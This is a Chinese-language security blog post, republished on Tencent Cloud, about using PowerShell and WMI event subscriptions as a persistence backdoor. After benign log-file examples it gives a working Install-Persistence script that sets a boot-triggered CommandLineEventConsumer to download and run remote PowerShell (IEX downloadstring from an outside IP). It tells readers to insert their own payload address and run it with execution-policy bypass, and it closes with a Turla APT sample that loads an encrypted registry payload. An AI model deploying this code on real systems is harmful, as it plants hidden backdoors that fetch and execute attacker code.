前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WMI持久性后门(powershell)(水文)

WMI持久性后门(powershell)(水文)

作者头像
黑白天安全
发布2022-11-11 16:54:48
1.2K0
发布2022-11-11 16:54:48
举报

“WMI是微软为基于Web的企业管理(WBEM)规范提供的一个实现版本,而WBEM则是一项行业计划,旨在开发用于访问企业环境中管理信息的标准技术。WMI使用公共信息模型(CIM)行业标准来表示系统、应用程序、网络、设备和其他托管组件。”

实际上,所谓事件过滤器只不过就是一个WMI类,用于描述WMI向事件使用者传递的事件。于此同时,事件过滤器还给出了WMI传递事件的条件。

需要在系统上以管理员身份运行才能创建事件实例。

1.WMI事件

WMI事件一共有3个部分组成:

1.1.Filter

WMI 筛选器组件允许我们使用 Windows 管理规范 (WMI) 规则。它包含两个类:MSFT_Rule,它定义管理范围内的单个规则,以及MSFT_SomFilter,它提供在目标设备上评估的查询列表。

1.2.Consumer

Consumer 类是表明了想要进行什么操作,一般是有5种Consumer 类,我们使用其中的一个(或由同一过滤器绑定的多个)来执行某种操作。

1.2.1.ActiveScriptEventConsumer

当事件传递给它时,以任意脚本语言执行预定义的脚本。此可在 Windows 2000 及更高版本上使用。

1.2.2.CommandLineEventConsumer

当一个事件被传递给它时,在本地系统上下文中启动一个任意进程。此适用于 Windows XP 及更高版本。

1.2.3.LogFileEventConsumer

当事件发送到文本日志文件时,将自定义字符串写入文本日志文件。此适用于 Windows XP 及更高版本。

1.2.4.NTEventLogEventConsumer

当事件被传递到 Windows NT 事件日志时,将特定消息记录到 Windows NT 事件日志中。此消费者适用于 Windows XP 及更高版本。

1.2.5.SMTPEventConsumer

每次将事件传递给它时,都使用 SMTP 发送电子邮件。此使用者可在 Windows 2000 及更高版本上使用。

1.3.Binding

绑定实际上是将过滤器和Consumer结合在一起,一旦将这两者绑定在一起,就可以让 WMI 事件订阅立即工作。要禁用现有的 WMI 订阅,只需删除绑定实例。

2.0.查找 WMI 实例

我们可以使用 Get-WMIObject 和由root\Subscription组成的 –Class 参数,然后指定我们希望查看的适当类

代码语言:javascript
复制
#List Event Filters
 Get-WMIObject -Namespace root\Subscription -Class __EventFilter

可以通过 Filter 实例的 Query 属性判断正在使用哪种Consumer。

代码语言:javascript
复制
#List Event Consumers  
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
代码语言:javascript
复制
#List 事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

可以从 __PATH 属性中看到哪个 Filter 和 Consumer 用于 WMI 事件。

3.0.使用wmiclass创建 WMI 事件订阅

创建 WMI 事件订阅的第一种方法是利用 wmiclass 类型加速器并使用 CreateInstance() 方法。

首先,创建过滤器

代码语言:javascript
复制
#创建一个新的事件过滤器
$instanceFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()

然后我们需要在这个Filter 实例中添加内容,需要添加的只是 Query、QueryLanguage、EventNamespace 和一个名称。

代码语言:javascript
复制
$instanceFilter.QueryLanguage = "WQL"  
$instanceFilter.Query = "select * from __instanceModificationEvent within 5 where targetInstance is a 'win32_Service'"  
$instanceFilter.Name = "ServiceFilter"  
$instanceFilter.EventNamespace = 'root\cimv2'

然后需要将此实例实际保存到 WMI 存储库中,可以通过 Put() 方法来做。

代码语言:javascript
复制
$result = $instanceFilter.Put()  
$newFilter = $result.Path

然后是创建Consumer

代码语言:javascript
复制
$instanceConsumer = ([wmiclass]"\\.\root\subscription:LogFileEventConsumer").CreateInstance()

接下来,我将对象配置为在过滤器触发时创建日志文件。

代码语言:javascript
复制
$instanceConsumer.Name = 'ServiceConsumer'
$instanceConsumer.Filename = "C:\Scripts\Log.log"
$instanceConsumer.Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'

%TargetInstance.Name% 表示正在更改的服务的名称,无论是状态还是其他内容。

最后,我们需要将对象保存到 WMI 存储库中。

代码语言:javascript
复制
$result = $instanceConsumer.Put()  
$newConsumer = $result.Path

然后就是绑定了

代码语言:javascript
复制
$instanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()

绑定在一起并保存实例

代码语言:javascript
复制
$instanceBinding.Filter = $newFilter  
$instanceBinding.Consumer = $newConsumer  
$result = $instanceBinding.Put()  
$newBinding = $result.Path

现在停止服务并检查 Scripts 文件夹中的日志文件。

代码语言:javascript
复制
Stop-Service wuauserv -Verbose

4.0.使用 Set-WMIInstance创建 WMI 事件订阅

此方法使用 –Arguments 参数,该参数接受将用于定义每个实例及其属性的哈希表。

首先,将创建将与我的 splatting 一起使用的哈希表,这些也是不会随每个 WMI 实例更改的通用参数。

代码语言:javascript
复制
splatting $wmiParams = @{
     Computername = $env:COMPUTERNAME
     ErrorAction = 'Stop'
     NameSpace = 'root\subscription'
 }

接下来是过滤器的创建

代码语言:javascript
复制
$wmiParams.Class = '__EventFilter'  
$wmiParams.Arguments = @{
     Name = 'ServiceFilter'
     EventNamespace = 'root\CIMV2'
     QueryLanguage = 'WQL'
     Query = "select * from __instanceModificationEvent within 5 where targetInstance isa 'win32_Service'"
 }  
$filterResult = Set-WmiInstance @wmiParams

继续创建Consumer

代码语言:javascript
复制
$wmiParams.Class = 'LogFileEventConsumer'
$wmiParams.Arguments = @{
    Name = 'ServiceConsumer'
    Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'
    FileName = "C:\Scripts\Log.log" }
$consumerResult = Set-WmiInstance @wmiParams

绑定以启用此事件订阅

代码语言:javascript
复制
$wmiParams.Class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
     Filter = $filterResult
     Consumer = $consumerResult
 }
$bindingResult = Set-WmiInstance @wmiParams
我们可以使用 Remove-WMIObject删除和使用 Get-WMIObject 定位实例并通过管道传输到 Remove-##Removing WMI Subscriptions using Remove-WMIObject
#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='ServiceFilter'" |      Remove-WmiObject -Verbose  


#Consumer
Get-WMIObject -Namespace root\Subscription -Class LogFileEventConsumer -Filter "Name='ServiceConsumer'" |      Remove-WmiObject -Verbose  


#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%ServiceFilter%'"  |      Remove-WmiObject -Verbose

示例

代码语言:javascript
复制
<#
Credits to @mattifestion forhis awesome work onWMI and Powershell Fileless Persistence.  This script isan adaptation of his work.
#>

function Install-Persistence{

    $Payload = "<strong>((new-object net.webclient).downloadstring('http://192.168.3.68:80/logo.gif'))</strong>"
    $EventFilterName = 'Cleanup'
    $EventConsumerName = 'DataCleanup'
    $finalPayload = "<strong>powershell.exe -nop -c `"IEX $Payload`"</strong>"

    # Create event filter
    $EventFilterArgs = @{
        EventNamespace = 'root/cimv2'
        Name = $EventFilterName
        Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
        QueryLanguage = 'WQL'
    }

    $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs

    # Create CommandLineEventConsumer
    $CommandLineConsumerArgs = @{
        Name = $EventConsumerName
        CommandLineTemplate = $finalPayload
    }
    $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs

    # Create FilterToConsumerBinding
    $FilterToConsumerArgs = @{
        Filter = $Filter
        Consumer = $Consumer
    }
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs

    #Confirm the Event Filter was created
    $EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
    if($EventCheck -ne $null) {
        Write-Host "Event Filter $EventFilterName successfully written to host"
    }

    #Confirm the Event Consumer was created
    $ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
    if($ConsumerCheck -ne $null) {
        Write-Host "Event Consumer $EventConsumerName successfully written to host"
    }

    #Confirm the FiltertoConsumer was created
    $BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$EventFilterName'"""
    if($BindingCheck -ne $null){
        Write-Host "Filter To Consumer Binding successfully written to host"
    }

}

function Remove-Persistence{
    $EventFilterName = 'Cleanup'
    $EventConsumerName = 'DataCleanup'

    # Clean up Code - Comment this code out when you are installing persistence otherwise it will

    $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
    $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
    $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"

    $FilterConsumerBindingToCleanup | Remove-WmiObject
    $EventConsumerToCleanup | Remove-WmiObject
    $EventFilterToCleanup | Remove-WmiObject

}

function Check-WMI{
    Write-Host "Showing All Root Event Filters"
    Get-WmiObject -Namespace root/subscription -Class __EventFilter

    Write-Host "Showing All CommandLine Event Consumers"
    Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer

    Write-Host "Showing All Filter to Consumer Bindings"
    Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding
}

把这个payload的地址修改为我们的就行

然后开始插入事件,一旦正常插入成功后,当目标再次重启系统,管理员[administrator]正常登录,稍等片刻2016可能要稍微多等会儿]当系统在后台轮询到我们的payload事件后,便会被触发执行。

代码语言:javascript
复制
# powershell -exec bypass
PS > Import-Module .\WMI-Persistence.ps1
PS > Install-Persistence
PS > Check-WMI

5.0.Turla APT的样本

代码语言:javascript
复制
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'" | Remove-WmiObject;


$NLP35gh = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{ name = 'Syslog Consumer'; CommandLineTemplate = "$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -enc $HL39fjh"; RunInteractively = 'false' };


Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Log Adapter Filter'" | Remove-WmiObject;


Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Log Adapter' } | Remove-WmiObject;


$IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'Log Adapter Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };


Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };


Get-WmiObject __eventFilter -namespace root\subscription -filter "name='AD Bridge Filter'" | Remove-WmiObject;


Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'AD Bridge' } | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'AD Bridge Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };


Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };

这里创建两个 WMI事件过滤器和两个 WMI事件Consumer,Consumer启动 base64 编码的 PowerShell 命令的命令行,然后加载存储在 Windows 注册表中的大型 PowerShell 脚本。

这些事件将分别在 15:30:40 和系统正常运行时间在 300 到 400 秒之间运行。变量$HL39fjh包含 base64 编码的 PowerShell 命令,读取存储加密负载的 Windows 注册表项,并包含解密负载所需的密码和盐。

代码语言:javascript
复制
[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("<base64-encoded password and salt">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex

最后,脚本将加密的有效负载存储在 Windows 注册表中,在样本中,攻击者似乎对每个目标使用不同的注册表位置。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-07-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.WMI事件
    • 1.1.Filter
      • 1.2.Consumer
        • 1.2.1.ActiveScriptEventConsumer
        • 1.2.2.CommandLineEventConsumer
        • 1.2.3.LogFileEventConsumer
        • 1.2.4.NTEventLogEventConsumer
        • 1.2.5.SMTPEventConsumer
      • 1.3.Binding
      • 2.0.查找 WMI 实例
      • 3.0.使用wmiclass创建 WMI 事件订阅
      • 4.0.使用 Set-WMIInstance创建 WMI 事件订阅
      • 5.0.Turla APT的样本
      相关产品与服务
      对象存储
      对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档